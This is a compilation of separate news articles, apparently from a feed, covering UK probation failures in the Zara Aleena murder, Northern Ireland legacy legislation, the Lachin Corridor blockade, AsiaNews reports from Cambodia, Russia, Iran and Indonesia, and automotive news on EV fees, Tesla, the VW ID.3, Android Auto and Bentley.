Urging ministers to think again, former deputy DUP leader Lord Dodds of Duncairn said: Its very, very clear that victims have been treated abominably by this Bill and this Government.

He added: I would appeal  listen to the victims.

Former SDLP leader Baroness Ritchie of Downpatrick said: They (the victims) feel this Bill robs them of their opportunity to access justice, to access investigations and to access inquests, which they believe, quite rightly, is their right.

I agree there should be a pause placed on this Bill. That the Government should go away and think again.

DUP peer and former education minister in Northern Ireland Lord Weir of Ballyholme said: The Bill represents very clearly a denial of justice.

Labour leader in the Lords Baroness Smith of Basildon said: Our position remains the same. We do not support this Bill. We share the desire there should be a process. We share the desire to move forward and deal with the issues, but I have to say we do not believe this Bill is the case.
Probation officers have been accused of having blood on their hands after failings left a sexual predator free to stalk and kill Zara Aleena just days after his prison release.

Damning findings by a watchdog laid bare a catalogue of errors by probation officers before Jordan McSweeney carried out the brutal attack on the aspiring lawyer.

Farah Naz called for action and accountability in the wake of her nieces murder as she branded the Probation Service incompetent, with failures by people at the top.

Zara Aleena was attacked as she walked home from a night out in London in June (family handout/Metropolitan Police/PA)

McSweeney, 29, was handed a life sentence and jailed for at least 38 years last month after admitting sexually assaulting and murdering the 35-year-old law graduate in Ilford, east London, in June.

Justice Secretary Dominic Raab ordered a review of how probation staff supervised McSweeney  a career criminal who had been in and out of jail since he was 16 and had a history of violence  when it emerged he was freed from prison on licence nine days before the murder.

In that time, his licence had been revoked after he failed three times to meet probation officers  but he was not recalled to prison.

In a report published on Tuesday, chief inspector of probation Justin Russell said McSweeney was not treated as a high-risk offender when he should have been and chances to get him back behind bars sooner were missed.

Jordan McSweeney caught on CCTV following a woman in Ilford (Metropolitan Police/PA)

Ms Naz told the BBC heads should roll, adding it is not good enough that just one worker faced disciplinary action over the case. No-one has been sacked, according to the watchdogs report.

She said: Zaras life was taken and probation have blood on their hands.

When asked whether Ms Aleena could be alive today if probation had acted differently, Ms Naz replied: Yes, absolutely, later adding: Some people need to be accountable here. If you commission a report you should be acting on it. If I dont do my job, I dont deserve my job.

McSweeney  who the Commons heard is appealing against his sentence  stalked Ms Aleena as she walked home from a night out, after he had been thrown out of a pub for pestering a female member of staff and trying unsuccessfully to target at least five other women.

Grabbing her from behind and dragging her into a driveway, he repeatedly kicked and stamped on her head and body in a sustained attack lasting nine minutes and resulting in 46 injuries. Ms Aleena, who was training to be a solicitor, was found struggling to breathe with severe head injuries and later died in hospital.

Earlier Ms Naz warned women and girls are not safe if probation is not doing its job as she told BBC Radio Fours Womans Hour that reading the report was extremely distressing.

Although prisons and probation minister Damian Hinds apologised for the failings in the case, Ms Naz told the programme: We need much more than an apology what we need is action and we need accountability.

Her funny, clever, beautiful niece was the complete antithesis of this man that was given a licence to walk the streets freely, she added.

Mr Russell warned that until standards improve, it is impossible to say that the public is being properly protected from the dangers posed by criminals on probation, later telling Times Radio: It could happen again.

Jordan McSweeney being arrested on June 27 (Metropolitan Police/PA)

On Womans Hour, he said probation officers need to be reminded of the basics, they need to be retrained in how you distinguish between a medium and a high-risk case.

Asked if the Probation Service is fit for purpose, Mr Russell replied: I think the way that it assesses, manages and reviews risk of harm is not fit for purpose, and that is a key function for the Probation Service, it should be one of its priorities.

Having made 10 recommendations, including calling for an urgent review into how staff gauge the risk criminals pose to others, Mr Russell added: Im urging the service to act, to put those failures right and make sure that it improves that critical aspect of public protection in the work that it does.

The report comes just a week after the watchdog revealed another litany of failings by probation officers before Damien Bendall murdered three children and his pregnant partner.

It also follows concerns raised nearly three years ago after serial rapist Joseph McCann carried out a series of sex attacks when he was freed from prison amid major failings by an unstable team of inexperienced probation staff.

Mr Hinds told MPs the reviews of Bendall and McSweeney set out clear and serious failings by the Probation Service, adding: I am profoundly sorry for these failings and the Deputy Prime Minister and I are seeking opportunities to make apologies in person.

It is incumbent on us now to do everything we can to ensure they do not and cannot happen ever again.

He said immediate steps being taken by the Government to tackle the problems include mandatory training to improve risk assessments and introducing new procedures to guarantee the swift recall of offenders.

Thousands more probation officers will be hired as part of 155 million being spent on the Probation Service to provide tougher supervision, protect the public and ensure these sorts of tragedies can never happen again, Mr Hinds said.

The Court of Appeal office confirmed McSweeney has lodged an application for permission to challenge his sentence.
The murder of law graduate Zara Aleena has been described as a grave reminder of the price women pay for Government policies following the release of a report into probation failings which led to her death.

Womens safety campaigners have said that a lack of funding is partly to blame for the litany of errors which left Jordan McSweeney free to kill the 35-year-old last year, just nine days after he was released from jail.

This comes after a report by chief inspector of probation, Justin Russell, outlined how McSweeney was not treated as a high-risk offender or recalled to prison as quickly as he should have been.

Andrea Simon, director of End Violence Against Women Coalition (EVAW), said the report shows that the justice system is struggling to protect women after a decade of austerity policies.

The charity boss said: This grave and appalling failing on the part of the Probation Service constitutes yet another way in which the criminal justice system is catastrophically failing to protect women and girls and prevent further violence and abuse.

The Probation Service, as with so many of our public services, is buckling under the pressure of a decade of austerity policies and the impact of the Covid-19 pandemic  not aided by the disastrous structural reform of the service (recently reversed) which took place from 2012, she added.

Zaras murder is a grave reminder of the price women pay for Government policies.

Harriet Wistrich, director of the Centre for Womens Justice, said the criminal justice system is in collapse and women are not being protected from violent men. She blamed part of the problem on chronic underfunding as she called on Justice Secretary Dominic Raab to take urgent action to transform the system.

She said: It is devastating to hear about yet another murder that could have been avoided but for failures by the Probation Service.

The failure to identify the level of dangerousness this man presented and the failure to adequately supervise him has resulted in the tragic loss of life of a young woman who had so much to offer society.

This is outrageously only one of a series of murders that might have been avoided over the last few years if the systems in place to protect the public had been working.

Jordan McSweeney was jailed for life with a minimum term of 38 years for the murder of law graduate Zara Aleena (Metropolitan Police/PA)

Claire Waxman, Londons Victims Commissioner, said the damning review highlights a litany of errors and oversights and paints a clear picture of a disjointed system that is struggling to properly protect the public.

There was a near total failure to adequately risk-assess McSweeney, and no holistic approach taken to look at his past, she said.

These are truly tragic circumstances, and reflect a justice system that is on its knees.

Excessive workloads, low pay, and low morale have led to a huge shortage of staff in Probation, and Government must address these failings if they want to keep the public safe.

Ms Waxman expressed condolences for Ms Aleenas family.

Zara Aleena (Family/PA)

London Mayor Sadiq Khan said the probation failings are symptomatic of wider issues which must be addressed immediately.

Mr Khan said: My thoughts are with Zaras family and loved ones on this extremely difficult day.

This is a damning report which makes clear that, even before Zaras brutal murder, McSweeney was a dangerous, prolific and violent predator who should never have been left at liberty to take the life of an innocent young woman.

The Probation Service has failed in this case and this failure is symptomatic of wider issues after 13 years of chaotic Government policies and cuts, that must be addressed immediately.

McSweeney was given a life sentence and jailed for at least 38 years last month after admitting murdering Ms Aleena in Ilford, east London, on June 26 last year.

Zara Aleenas aunt Farah Naz reading a statement outside the Old Bailey after Jordan McSweeney was sentenced to life for a minimum term of 38 years (David Parry/PA)

Published on Tuesday, the probation watchdogs report reveals how errors in the handling of McSweeneys case meant he was not identified as a high-risk offender when he should have been.

It also outlines how McSweeney missed multiple probation appointments and should have been recalled to prison two days before he killed Ms Aleena.

McSweeney had 28 past convictions for 69 separate offences over 17 years, including burglary, theft of a vehicle, criminal damage, assaulting police officers and attacking members of the public while on bail.

He also had a history of violence towards ex-partners and was handed a restraining order for an offence against a woman in 2021.


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Trilateral Statement doesnt envisage restrictions on transport of cargo regarding their nature, purpose or use  Artsakh MFA

YEREVAN, JANUARY 24, ARMENPRESS. The Azerbaijani authorities have recently increasingly resorted to an arbitrary interpretation of paragraph 6 of the Trilateral Statement of 9 November 2020, regarding the operation of the Lachin Corridor, the Ministry of Foreign Affairs of Artsakh (Nagorno Karabakh) said in a statement.

The Azerbaijani authorities have recently increasingly resorted to an arbitrary interpretation of paragraph 6 of the Trilateral Statement of 9 November 2020, regarding the operation of the Lachin Corridor.

To advance their political agenda, Azerbaijan has been holding the entire population of Artsakh hostage for more than 40 days, blocking the only road linking Artsakh with Armenia and the outside world, and creating a serious humanitarian crisis.

At the same time, Azerbaijan resorts to various speculations, trying to disguise their inhuman policy towards the people of Artsakh. In particular, the Azerbaijani authorities present the data on the passage of ICRC and Russian peacekeepers vehicles as evidence of the absence of a humanitarian crisis and blockade. However, facts on the ground refute the Azerbaijani ploy designed to mislead the international community.

Firstly, during the 43 days of the blockade, fewer vehicles have passed through the Lachin Corridor than the daily traffic flow in the pre-blockade period. All of these vehicles belonged either to the ICRC or the Russian peacekeepers. Not a single vehicle belonging to Artsakh residents passed through the corridor.

Secondly, due to the blockade, passenger flow through the Lachin Corridor in both directions has been stopped. Even the vehicle of the Russian peacekeepers, transporting children from Armenia back to Artsakh, was stopped, and the passengers inside were subjected to deliberate psychological terror from the Azerbaijani side.

Thirdly, the import of consumer goods, amounting to more than 400 tons per day, has been completely stopped. The blockade of Artsakh has not only led to a shortage of essential supplies, including life-saving medicines, but also deprived thousands of people of their jobs and livelihoods.

At the same time, in addition to the land blockade of Artsakh, Azerbaijan imposed an energy blockade to further aggravate the humanitarian situation. Azerbaijan continues to deliberately obstruct the natural gas supply to Artsakh, as well as the repair of the only Goris-Stepanakert high-voltage power line coming from Armenia, which was damaged on 9 January, in an area under Azerbaijani control.

Azerbaijan's claim that they have the right to stop vehicles passing through the Lachin Corridor and conduct cargo inspections is absolutely unfounded. The Trilateral Statement does not provide for any restrictions on the transport of cargo with regard to their nature, purpose or use. With respect to the Lachin Corridor, Azerbaijans only obligation is to not impede the movement in any way the safety of movement of citizens, vehicles and cargo in both directions.

Baku's attempts to unilaterally revise the provisions of the Trilateral Statement and turn the Lachin Corridor, which has an internationally recognized status, into an Azerbaijani-controlled road exclusively for humanitarian cargo transportation are illegitimate and must be rejected.

The Azerbaijani President's signature under the Trilateral Statement represents Azerbaijans explicit consent to the recognition of the exclusive control of the Russian peacekeeping contingent over the Lachin Corridor, the Artsakh foreign ministry said.
Mengly Quach, who fled to Thailand to escape the Khmer Rouge genocide, stopped at a border town between Italy and France, where he donated 5,000 euros to the local Caritas. After graduating in medicine in the United States, he returned to Cambodia to help the neediest.

Phnom Penh (AsiaNews) - Refugee, doctor and finally philanthropist are words that best summarise the story of Mengly Jandy Quach, a Cambodian man.

As a member of a delegation, he recently visited Pope Francis in the Vatican, which was followed by one in Ventimiglia, a town on the French-Italian border, where Quach donated 5,000 euros (US$ 5,440) to the local Caritas for projects in favour of migrants stranded at the border.

He was accompanied by a Buddhist monk; San Sochea who, after listening to stories about the migrants donated 500 euros (US$ 544), lots of money for a monk; and Fr Will Conquer, missionary of the MEP (Missions Etrangeres de Paris) in Cambodia.

"I am very impressed by the work you do, Qualch told Maurizio Marmo, president of Caritas Intemelia. It warms my heart and reminds me of my own experience, and that of my family and millions of Cambodians in 1975.

Born in 1969, the doctor turned philanthropist managed to escape the Khmer Rouge genocide, during which an estimated one and a half million Cambodians died.

I understand what it means to try everything to cross the border, Quach explained. There were landmines and they welcomed us with machine guns, but we felt the same," he said, referring to the massacre of Vietnamese and Cambodians in the Dangrek mountains, on the border between Thailand and Cambodia, in 1979.

Faced with people trying to cross the Thai border, tired by the war against Vietnam (which had invaded Cambodia), and exhausted by hunger after three years of communist regime, the Thai army planted anti-personnel mines around refugee camps and fired at asylum seekers.

Only after a second escape attempt did Quach and his family manage to reach a refugee camp in Thailand from where they were resettled in California, United States, in 1984.

After graduating from UC Berkeley with medical degrees and several academic jobs, Quach decided to return to Phnom Penh with his wife and two daughters in 2002, where he initially worked as a public health consultant.

A few years later, in 2005, he founded MJQ Education, which today is the largest educational network in Cambodia, with 17,000 students and 1,750 employees.

I also cannot forget my past and that makes me want to give back to society. I was resettled in the United States from a refugee camp after the war, living on the charity and goodness of the United Nations. Others were kind to me and now its my turn to reciprocate, he said in an interview.

In 2021, King Norodom Sihamoni of Cambodia awarded him the honorary title of Neak Oknha for service to the needy.

After starting some charitable projects in which all the profits were initially reinvested in humanitarian aid, Quach eventually turned into a full-fledged businessman and writer.

Today he owns some companies in different fields and in the last four years he has written a series of books, ranging from autobiographical stories and poetry to essays in which he explains his business ideas and notions of corporate social responsibility.
by Vladimir Rozanskij

Thousands of wild animals fall victim to banned agricultural pesticides. A side effect of Moscow's war on Ukraine. The complaint of hunters and fishermen in south-west Russia. Only the authorities in Stavropol admitted the problem and intervened.

Moscow (AsiaNews) - Due to the increasingly difficult conditions of the economy and daily life in southern Russia, close to the war zones with Ukraine, farmers have started to use prohibited techniques for cultivation, causing a veritable massacre of animals, and a vast ecological ruin of the territories.

The carcasses of foxes, hares, ducks, seagulls, owls and even storks have been lying everywhere for more than two months now, with desolate images spread on social networks from the phones of hunters and fishermen.

Aleksandr, a hunter from the Rostov region, told reporters from Novaja Gazeta that he had taken out a special licence for hare hunting last year, and had to return it because of the extermination: 'We only collect corpses of beautiful little animals in pools of blood.

A new, unknown pandemic was thought to have occurred, and those in charge of the sector began to carry out tests, to clarify that it was chemical, and not infection.

The systematic use of dangerous products, after all, proved to be a different kind of epidemic. Since the beginning of November, laboratories of the control centre Rosselkhoznadzor, specialised in agricultural surveillance, have been collecting dead wild animals from the Rostov, Krasnodar and Orel areas.

Another hunter from the Ipatovo province in the Stavropol region says that 'as soon as we went out into the field, we came across six fox corpses; next to them were partridges lying on the ground, and a huge amount of dead rats, while all around us we noticed a strange red grain', fertilised with chemicals to which the animals are intolerant.

"We had seen similar scenes before, but never in such large and extensive quantities over the territory... the jackals, foxes and birds of prey pounce on the poisoned mice, thinking them easy prey, and for all the end is atrocious."

People began to speak in whispers of a 'tragedy of the wild' when in the Stavropol province of Petrovsk, hunters found a flock of several hundred rare grey gulls, all lying lifeless as they headed to overwinter in Israel, a usual route through the fields and river basins of southern Russia. Here they usually gather to rest and regain their strength, to fly further, but this time only a few made it. Most hunkered down on the banks of Lake Solenyj, near the village of Donskaya Balka.

The head of the ecological movement Native Russian, Arsenij Filippov, explains that the mass slaughter of these animals, including pheasants, wolves, and rare birds such as the tadorna ferruginea and others, is nothing new in these parts, due to incorrect use of pesticides spread on fields against rodents.

Last autumn, local farmers spread these practices beyond measure, pouring tons of poisons onto the fields with catastrophic consequences: 'Animals of tens of thousands of different species have died'.

Only the Stavropol authorities partly admitted to the problem, setting up an investigation committee that reported on the deaths of '800 gulls, four hares and a partridge'. A 'poison containing phosphorous-organic elements' was found in their bodies, which led to their death, launching an accusation of illegal practices against yet-to-be-identified culprits.

Among the population, and also in the local media, the issue is provoking increasingly indignant reactions, denouncing the 'disappearance of the North Caucasian pheasant' from almost all surrounding regions of southern Russia.

A group of dead black crows swooped down in front of the Kuban governor's residence in the central Krasnaja Street in the city of Krasnodar. The deaths of the local fauna have been compared to the effects of the bombings that take place only a few kilometres from these areas: war exterminates not only humans, but also animals.
30 women currently in prison sign an open letter to say 'no' to summary trials and hangings of peaceful protesters. Sara Ahmadi and Malihe Nazari are serving eight and six years for membership in prayer houses. Three other female journalists arrested in recent days for reporting on the ayatollahs' repression.

Tehran (AsiaNews) - Two Christian converts from Islam are among the 30 Iranian women who have signed an open letter from prison to say "no" to summary trials and "state executions" of peaceful demonstrators in the streets protesting against the death of 22 year old Kurdish woman Mahsa Amini.

According to activists from Article18, a site specialising in documenting the repressions taking place in the Islamic Republic, the two women are Sara Ahmadi and Malihe Nazari, who are respectively serving eight and six years in prison for membership of prayer houses.

Both joined fellow inmates in the women's area of the notorious Evin prison, signing the statement shared on social media yesterday by another of the women signatories, Fariba Adelkhah.

"We, the political and ideological prisoners of the womens ward of Evin prison, demand an end to the executions of protesters and an end to the unjust sentences imposed on prisoners in Iran, the 30 women wrote.

In the open letter, the women declare that they come from different religions, cultures, backgrounds - Christian, Baha'i, monarchist, Marxist, environmentalist, mothers for justice, etc - but that they are at the same time united by the battle against 'state executions'. "We have all been sentenced, to a total of 124 years in prison, following unfair and non-transparent trials. This is equivalent to several generations of human life. We defend the right of people to live, with justice."

Sara is the wife of Homayoun Zhaveh, a 64-year-old man with advanced Parkinson's disease, who is also serving a two-year sentence in Evin for his involvement in prayers organised in house churches.

These are the "house-churches" opposed by the ayatollahs' regime, which considers them to be hideouts of "enemy groups" that "threaten" national security; to date there are at least 18 Christians in prison for their membership of these groups. Malihe, on the other hand, was part of the group of people arrested for being linked to Joseph Shahbazian, an Iranian-Armenian pastor who is now serving a 10-year sentence in Evin.

In the meantime, the arrests of female journalists who report on the government repression of street protests through their work continue. In recent days three more female reporters have been arrested and taken to prison, bringing to 79 the total number of reporters - men and women - who have ended up in cells since the start of the demonstrations for Mahsa Amini in mid-September last year.

According to reports by the Tehran Journalists Association, the latest are Mmes Melika Hashemi, Saideh Shafiei and Mehrnoush Zarei, but there are no details other than the names. The reformist daily Etemad adds that the female reporters were allegedly transferred to Evin.
by Mathias Hariyadi

Thousands of residents have been forced to shelter on higher ground as rivers overflowed with water levels rising by more than three metres. Today more than 400 people were evacuated in Malaysia after their village was submerged.

Jakarta (AsiaNews)  Recent floods have hit several Indonesian regions, creating problems for over 20,000 people.

In the western province of Aceh, on the island of Sumatra, torrential rains raised water levels by more than three metres. This caused rivers to overflow and forced thousands of residents to seek refuge in higher and sheltered areas.

Pidie, Pidie Jaya, Bireuen, Aceh Utara, Aceh Tamiang, and Aceh Timur are among the most affected districts.

"In North Aceh district, the water level has reached 3.3 metres," said the local office of Indonesias National Disaster Management Agency (BPBA)[*], explaining that the rains flooded homes, but also public facilities, rice paddies and plantations.

Flooding also caused major traffic jams with roads blocked by landslides and access cut off. At least 20,901 people have been forced to leave their homes seeking refuge due to heavy rains, the BPBA statement added.

Ache is an autonomous province where Islamic law (Sharia) is enforced. In recent years, it has experienced repeated flooding due to climate change. At least 56 floods were recorded in 2021, down from 80 in 2020.

Currently, Indonesia is not alone in struggling with heavy rains. Other South-East Asian countries are also affected; today, in the state of Johor, Malaysia, the authorities evacuated more than 400 people after their village was submerged by water.

[*] Badan Nasional Penanggulangan Bencana.
Franciss message for the 2023 World Day of Social Communications was released today, centred on the theme of "truth in love. Communication should go beyond form, and not create disinformation. The pope speaks out against bellicose rhetoric that turns words into actions of heinous violence". The Church too should adopt a style of communication that lights the fire of faith rather than preserve the ashes of a self-referential identity.

Vatican City (AsiaNews)  Pope Franciss message for the 57th 2023 World Day of Communications was released today, as is customary, on the feast day of Saint Francis de Sales, patron saint of journalists. The celebration will take place on Sunday, 21 May.

In it, the pontiff calls on communicators to speak with the heart so that communications can transcend the polarisation of a time when we are so inclined towards indifference and indignation, at times even on the basis of disinformation which falsifies and exploits the truth.

Inspired by the verse in the Epistle to the Ephesians, following the truth in love (cf. Eph 4:15), the message is a call to communicate in a cordial way, looking at one another with compassion, welcoming our mutual frailties with respect rather than judging by hearsay and sowing discord and division. This is needed to overcome the vague din which, also in the field of information, does not help us discern in the complicated world in which we live.

Communicating in a cordial manner means that those who read or listen to us are led to welcome our participation in the joys, fears, hopes and suffering of the women and men of our time. Those who speak in this way love the other because they care and protect their freedom without violating it.

The pontiffs message is primarily for professional communicators, but In a historical period marked by polarizations and contrasts  to which unfortunately not even the ecclesial community is immune  the commitment to communicating with open heart and arms does not pertain exclusively to those in the field of communications; it is everyones responsibility.

Communicating in a cordial manner is not only a question of etiquette but a genuine antidote to cruelty, which unfortunately can poison hearts and make relationships toxic. We need it in the field of media, so that communication does not foment acrimony that exasperates, creates rage and leads to clashes, but helps people peacefully reflect and interpret with a critical yet always respectful spirit, the reality in which they live.

One clear example is offered by Saint Francis de Sales, whom Pius XI knowingly chose a hundred years ago as the patron saint of journalists with the encyclical Rerum omnium perturbationem (Disturbance of All Things).

Indeed, one of his most famous statements, heart speaks to heart inspired generations of faithful, among them Saint John Henry Newman [. . .]. One of his convictions was, In order to speak well, it is enough to love well. It shows that for him communication should never be reduced to something artificial, to a marketing strategy, as we might say nowadays, but is rather a reflection of the soul, the visible surface of a nucleus of love that is invisible to the eye.

Unfortunately, This goes against the grain today, at a time when  as we experience especially on social media  communication is often exploited so that the world may see us as we would like to be and not as we are.

This model ought to inspire communications in the Church in her synodal journey, shaken lately by so many tensions. We have a pressing need in the Church for communication that kindles hearts, that is balm on wounds and that shines light on the journey of our brothers and sisters, the pontiff writes.

I dream of an ecclesial communication that knows how to let itself be guided by the Holy Spirit, gentle and at the same time, prophetic, that knows how to find new ways and means for the wonderful proclamation it is called to deliver in the third millennium.

This kind of communication puts the relationship with God and ones neighbour, especially the neediest, at the centre and which knows how to light the fire of faith rather than preserve the ashes of a self-referential identity. A form of communication founded on humility in listening and parrhesia in speaking, which never separates truth from charity.

Ultimately, speaking from the heart is more than ever urgent today in order to promote a culture of peace in a world wounded by war.

It is terrifying to hear how easily words calling for the destruction of people and territories are spoken. Words, unfortunately, that often turn into warlike actions of heinous violence. This is why all belligerent rhetoric must be rejected, as well as every form of propaganda that manipulates the truth, disfiguring it for ideological ends. Instead, what must be promoted is a form of communication that helps create the conditions to resolve controversies between peoples.

From the heart come the right words to dispel the shadows of a closed and divided world and to build a civilization which is better than the one we have received. Each of us is asked to engage in this effort, but it is one that especially appeals to the sense of responsibility of those working in the field of communications so that they may carry out their profession as a mission.
The Colorado River, pictured here flowing through the Roaring Fork Valley in this file photo, feeds a tributary that in turn supplies the Green Mountain Reservoir north of Silverthorne, Colo.
An image of the Crystal River Valley from an EcoFlight mission in August 2022. The view is downvalley, toward Mount Sopris. A group is exploring a federal designation of wild and scenic for the Crystal River in Gunnison and Pitkin counties.
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Florida Senate Committee Discusses Possible Fee Hikes on EVs

Written by Andrew Powell, The Center Square

Published Jan. 24, 2023

The Florida Senate Committee of Transportation met in Tallahassee on Jan. 24 to discuss fees to be imposed on Floridians who drive electric vehicles.

The committee was tasked to work out appropriate fees, depending on what type of EV was being used. Battery-only cars would have a higher fee than a hybrid that uses an internal combustion motor in tandem with the battery.

According to Committee Chair Sen. Nick DiCeglie, R-Indian Rocks Beach, legislation has been filed in 31 states over the past three years to impose new registration fees on electric vehicles.

The definition of an EV in Florida, is a motor vehicle powered by an electric motor that draws current from rechargeable storage batteries, fuel cells or other sources of electrical current.

Road maintenance is paid for by the state, who collects the majority of its taxes via an excise tax on gasoline and diesel at the gas pump. Electric vehicles currently have a regular registration fee, however, the state wants an additional fee for EV users for their share of the road maintenance.

Cindy Price, the chief legislative analyst for the Senate, made a presentation about vehicle registration fees across the U.S. and how they would be imposed in Florida.

Price stressed the need for EVs in Florida to have a clearer definition, as those who drive EVs that also use a combustible engine, are in fact still paying for road taxes through purchasing fuel.

The assertion is that electric vehicle owners may not be fairly contributing to the cost of constructing and maintaining public roads through payment of traditional registration fees, Price said.

According to Price, 31 states currently impose some form of a special registration fee for EVs.

Around the country, the cost ranges from $75 to $200, and 18 of those 31 states also assess whether those vehicles operate on a combination of electricity and fuel. Fees for those types of EVs range from $45 in Iowa to $100 in Alabama, Arkansas, Ohio and West Virginia.

In Washington, the fee is around $225 per year for a plug-in electric vehicle and Oklahoma bases its fee on the vehicle size and weight. Idaho considered legislation in 2021 that would have increased EV registration fees to $300.

Some states are also already directing fees to construction and maintenance and including installing more charging stations.

One solution suggested was a road-user like charge, that would be a charge for every mile driven. Pennsylvania imposes an alternative fuel tax, which is computed on a gallon equivalent basis. According to the Pennsylvania Department of Revenue, the 2023 tax rate for electricity is .0183 per kilowatt hour.

Legislation will likely be filed once the committee has enough information and are able to work through the various nuances surrounding EV use.

We thank The Center Square for reprint permission.
Tesla Asks for Support of VA Bill to Streamline Showroom Opening Process

Written by Joey Klender, Teslarati

Published Jan. 24, 2023

Tesla is asking for help in a new fight against dealerships, as the automaker is pushing for a Virginia House bill to be passed through a transportation subcommittee Jan. 31.

House Bill 2468 would allow manufacturers who have already gone through administrative hearings in Virginia for new sales locations to open subsequent locations without additional hearings. Tesla called it a common sense solution that would save companies and the state time and money.

Tesla is encouraging owners and fans to reach out to the House Transportation Committee members to encourage them to support the bill, introduced by Del. Rodney Willett of Henrico County and sponsored by Del. David Reed of Loudon County.

This bill is critically important for Tesla to be able to open new stores to meet public demand without going through a costly, time-consuming administrative hearing process that it has already gone through multiple times, the company said in an email to owners.

Of course, Tesla is facing opposition from the Virginia Automobile Dealers Association, which is actively working to kill it, the company said. Tesla has already gone through the administrative process of opening several showrooms in Virginia, all of which have found Tesla to be an adequate owner and operator of its own dealerships.

Tesla and other EV makers have faced pushback in several regions in the U.S., as large dealership networks have consistently felt the effects of direct-to-consumer opposition.

Various state governments have dealt with what legacy automotive dealers call the pro-consumer franchise system, which requires cars to be sold through independent dealerships and not directly to customers.

It has affected not only showrooms but also service centers.

In Connecticut, Tesla had permits pulled from a future service center location after a lawsuit from a dealership group in Hartford said the companys intent to fix vehicles was a smokescreen for the EV makers true intent---to sell vehicles directly to consumers, which would be a violation of state laws. At the time of the suit, Tesla already operated two other service center locations in the state.

In Virginia, the House Transportation Committee will hear HB2468 on Jan. 31. Tesla is encouraging residents to call or email the members and encourage them to support the bill.

We thank Teslarati for reprint permission.
A quick comparison between the outgoing VW ID.3 and the mid-cycle refresh reveals that the headlights appear to carry over, though we suspect they will at least feature new graphics. The front bumper is all-new, with the license plate positioned further down, and redesigned central air intake. It also has new vertical side vents, and what appears to be a slightly more pronounced apron. And dont mind that light bar up front, because it is only there for the testing phase, and it wont make its way to the final production version.Nothing seems to have changed on the sides either, but then again, nothing should, because this is a facelift and not an entirely new generation. Nonetheless, we suspect that it will at least get new wheels, perhaps joined by fresh colors in the palette. Even with the snow partially covering up the back end, it is clear that the Wolfsburg automaker didnt mess around with a winning recipe, as almost everything looks the same. Still, the bumper should be new, and the taillights will in all likelihood be part of the novelties. The models name is still being displayed in the center of the tailgate, below the corporate logo, and the roof still ends with a large spoiler that carries over.Our spy photographers, who took these images just recently, state that the interior was fully covered up, and this probably means that it will get additional updates beyond the possible new upholstery and trim. Chances are that the infotainment system will be new, albeit retaining the tablet-like style, and they could update the digital instrument cluster as well. Other updates might revolve around the air vents, center console, and steering wheel, though this part is pure assumption and should be taken with the proverbial pinch of salt. We suspect that prototypes of the facelifted ID.3 will hit the road soon , and those may very well reveal some of these interior changes.It is still unknown whether Volkswagens compact electric hatchback will get any powertrain updates, though revised or probably new battery packs should be included, with the obvious emphasis on increasing the cars overall range. The facelifted ID.3 is due this spring, the automaker confirmed in early December, while releasing some official sketches, and it will likely start arriving at dealers in the coming months. The ID.3 GTX hot hatch will also join the regular models this year, with stiffer chassis, and punchier dual electric motors.
Photo: Google

Photo: Google

Photo: Google

The wireless mode supported by Android Auto, however, isn't all about the extra convenience. Without a cable, the likelihood of connection problems is significantly reduced - and we all know how hard is to find a cord that always plays nice with Android Auto. I've created a list of the best cables that substantially lowers the chances of Android Auto going crazy all of a sudden, so if you're struggling with the wired mode, this information might come in handy. new version of Android Auto shipped for non-beta users this week, but as per Googles typical approach, no changelog is available for users out there.As it typically happens when new versions start rolling out, its all just a matter of time until Android Auto users start figuring out whats been changed, and this is exactly the case with this update as well.Version 8.7 appears to remove the Android Auto wireless toggle from settings, making it much harder for users to disable the connection without a cable. As such, Android Auto no longer comes with a dedicated setting to disable the wireless mode.Google has remained completely tight-lipped on this change, so its not yet clear why the company decided to remove the option to disable Android Auto wireless. But on the other hand, its not hard to understand why this unexpected change is making it a little bit more difficult for users to disable the wireless connection.Thanks to this toggle, users were allowed to quickly turn off the automatic launch of Android Auto, allowing the use of a Bluetooth connection to the media receiver in the car. At the same time, this was a popular option among users who wanted to use a secondary phone with Android Auto, as simply turning the wireless connection off from settings made it possible to choose which device to use for the app.Doing this, however, isnt impossible, even after this feature is removed. Android Auto wireless requires both Wi-Fi and Bluetooth connections to work properly, so its enough to disable any of them to prevent a phone from connecting to the head unit in the car. This isnt necessarily the most convenient workaround, as turning off Bluetooth also means that youre disconnecting the mobile device from other accessories, such as smartwatches or earbuds.While Google hasnt announced the change publicly, it looks like this is the new configuration that the company is going to use in Android Auto. Version 8.7, which is now available for non-beta users as well, has removed this feature by default, and going forward, it will no longer come back to the app.This isnt going to change anything for Android Auto users who typically launch the wireless mode in their cars using just a single phone. Android Auto wireless will continue to be enabled by default, and the removal of the setting wont affect the way they use the app. On the other hand, those who have more Android devices that are configured to run Android Auto wirelessly in the car will need to turn to the workaround mentioned above to be able to select the phone to power the experience.The option to disable Android Auto wireless is reportedly available only in the development mode, but its unlikely to make a comeback in the default app configuration.In the meantime, while Google is quietly implementing new under-the-hood changes in Android Auto, everybody out there continues to wait for the Coolwalk redesign Announced in early January, this big update is currently rolling out to users out there in stages, but the new versions that Google shipped to non-beta devices do not change anything in this regard. This is because the rollout is controlled by a server-side model, which means Google itself is the one enabling Android Auto Coolwalk on each device when it detects a reduced likelihood of bugs and performance issues.Probably the most frustrating part is that Google hasnt provided an ETA as to when the rollout is supposed to come to an end, so in the meantime, users have no other option than to wait and hope the company would eventually enable the new experience on their devices as well. At the same time, the rollout of Android Auto 8.7, which is the one that removes the wireless toggle from settings, is happening in stages through the Google Play Store for smartphones that arent enrolled in the beta program.
In case you were wondering about his credentials, Tobias Suhlmann has two decades of experience in automotive design, and he held senior positions in the respective departments of Aston Martin, McLaren, Bugatti, and Volkswagen. In the latter case, he joined the German brand back in 2005 at its Potsdam bureau, and then moved onto Volkswagen Design in Wolfsburg in 2007.While you may not have known his name, Tobias Suhlmann worked on the Volkswagen Passat, the 2019 VW Arteon , and the 2019 Touareg, and that is just naming the production vehicles. When concept cars are involved, he made input to several models that were exhibited by the German brand, such as the 2015 Volkswagen Sport Coupe GTE or the T-Prime GTE Concept.Suhlmann left Bugatti to replace Miles Nurnberger as Aston Martin's Design Director in May 2018, and he had previously joined Bugatti in August 2017 as Head of Exterior Design Creative Development.Within Bentley, Tobias Suhlmann was described by the firm as being instrumental in the look of the Batur , where he worked under the direction of Andreas Mindt. Batur represents a design revolution for the British marque, and its DNA will be seen in more models that will follow as the brand turns to its electrified future.Tobias Suhlmann will report directly to Dr. Matthias Rabe, who is Bentley 's Board Member for Research and Development. His new task is to define the design language for Bentley's electrified future. While that may seem a bit too general as a job description overall, you should not imagine that he will spend time on social media while others will design new Bentley production cars.Suhlmann will begin his 